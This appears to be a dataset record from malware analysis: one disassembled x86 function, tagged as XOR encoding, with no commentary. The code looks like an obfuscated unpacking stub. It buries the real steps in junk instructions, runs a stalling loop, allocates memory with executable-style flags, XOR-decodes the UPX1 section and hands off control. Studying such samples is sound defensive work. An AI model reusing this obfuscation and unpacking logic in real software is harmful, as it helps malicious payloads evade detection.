Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x20b0fd5f
mov edx, eax
sub edx, eax
popal
sub eax, 0x1edb1953
not edx
mov eax, edx
mov ebx, 0
mov eax, edi
mov ecx, edx
mov edx, 0xc5fe3bb0
not edx
mov esi, eax
inc edx
add edx, edx
and edx, ecx
mov edi, esi
add ecx, ecx
not edx
inc ebx
mov edx, 0x65bceab6
sub ecx, 0x1cc0582d
cmp ebx, 0x100daeb
jne 0x47b44e
or edx, ecx
or ecx, ecx
inc edx
mov edx, 0xe7d3abde
add eax, edx
mov eax, 0x47b21e
add ecx, esi
or edx, esi
sub ecx, esi
mov edi, 0x47b412
sub edx, 0x949267ee
and esi, edx
add edx, 0x1b8a5a8e
mov ebx, dword [eax]
mov edx, esi
inc edx
and ebx, 0xff
inc esi
add esi, 0x7c7dc169
inc ecx
xor dword [edi], ebx
dec esi
mov ecx, 0xc32d0f34
sub ecx, edx
add edi, 1
sub edx, 1
or esi, edx
add eax, 1
sub ecx, 0x7a9e844a
not edx
or edx, ecx
cmp edi, entry0
jl 0x47b4a8
add edx, 0xf4c7fb5
sub esi, edx
add ecx, ecx
mov ecx, 0x641bfcdf
add edx, 0xe19e426d
not ecx
add esi, 0x57814da1
mov edi, 0x47b416
add esi, 0xa92bc599
or edx, edx
sub ecx, 0x833b2448
mov edi, dword [edi]
not ebx
sub ebx, esi
and edx, ebx
mov edi, dword [edi]
add ecx, 0xf95f89c2
and edx, ecx
mov esi, edx
sub esp, 4
mov dword [esp], edi
add ecx, 1
mov ecx, ebx
mov edi, 0x47b412
add edx, 0x2c7ed360
and ebx, ecx
sub edx, 0xca821315
mov edi, dword [edi]
sub edx, 0xd60fd319
sub edx, 0x83c0fd29
mov edi, dword [edi]
add ebx, 0x3b5b0cc3
add esi, 0xb249bdc8
not ebx
sub esp, 4
mov dword [esp], 0x47b41a
add esi, esi
add edx, esi
call edi
mov esi, 0xdb5ffc12
dec esi
pop edi
not esi
add esi, ecx
mov edx, 0xc55099d3
push 0x47b427
mov esi, 0x41da2c56
mov edx, esi
sub esp, 4
mov dword [esp], eax
sub esi, 1
inc esi
sub edx, esi
call edi
add ecx, 0x60bf6977
add esi, ebx
push 0x40
sub esi, 0xaa42ecfa
mov ecx, 0xf4980886
mov ecx, 0xfe9f4852
push 0x3000
inc esi
add esi, 1
push 0x20000383
add esi, 0x2bae69a4
dec esi
push 0
and edx, ecx
sub ecx, ebx
sub ecx, 1
call eax
mov esi, ecx
and edx, ebx
add eax, 0x200002d7
inc ecx
sub esi, 0xabe4f366
mov edi, 0xa2e07a4b
dec edx
not edx
mov dword [eax], edi
add edx, esi
or esi, ebx
mov edi, dword [eax]
not ebx
mov ecx, 0xc2be698
cmp edi, 0xa2e07a4b
je 0x47b62c
mov edx, 0
mov byte [edx], bl
mov esi, 0x2b5437e
mov ecx, ebx
or ecx, ebx
not ecx
sub eax, 0x36be68bc
or edx, eax
mov edx, eax
mov ebx, section.UPX1
add edx, 1
sub edx, eax
mov edi, 0x47b21d
add eax, 0xda676be3
mov eax, edx
mov ecx, 0
sub eax, edx
or edx, edx
mov edx, eax
mov esi, 0x47b21e
and eax, eax
inc eax
lea esi, [esi + ecx]
and edx, eax
add edx, 1
sub edx, eax
mov esi, dword [esi]
add edx, 0x3ef3dcce
sub edx, eax
and esi, 0xff
mov eax, edx
and eax, eax
add ecx, 1
add edx, 0xf83345b4
inc edx
cmp ecx, 0x1f4
jne 0x47b6a9
mov ecx, 0
add edx, eax
sub eax, edx
or edx, eax
mov eax, 0x687650b0
xor dword [ebx], esi
sub eax, 0xa3b7356f
add edx, 0x5dbcbe56
add ebx, 2
add edx, 0x9c082bd7
mov edx, 0x5210e16
add eax, eax
cmp ebx, edi
jl 0x47b666
add eax, 1
dec eax
mov eax, 0xc85638e6
or eax, eax
inc edx
mov ebx, section.UPX1
inc esi
sub ecx, 1
sub ecx, 0x31a4de41
mov edx, section.UPX1
or ecx, ecx
add esi, 0x95105ec9
sub esi, 0xd39da3e3
mov edi, 0x47b21d
or esi, ecx
sub esi, ecx
mov eax, 0
sub esi, ecx
mov ecx, 0xcd6cadae
dec ecx
mov al, byte [edx]
not esi
sub esi, 0x101282c6
mov byte [ebx], al
or ecx, ecx
add esi, 0x7e8e094a
inc ebx
dec ecx
add ecx, 0xa849bcd2
add edx, 2
sub ecx, 0xcc827475
sub ecx, esi
mov esi, 0x5471c2c5
cmp edx, edi
jle 0x47b727
mov esi, 0x75df6ac9
sub esi, 1
sub esi, ecx
add edx, 0xfb24a01a
mov eax, 0x7d4e0053
sub esp, 4
mov dword [esp], 0x45e6a0
or eax, edx
or eax, edx
dec eax
ret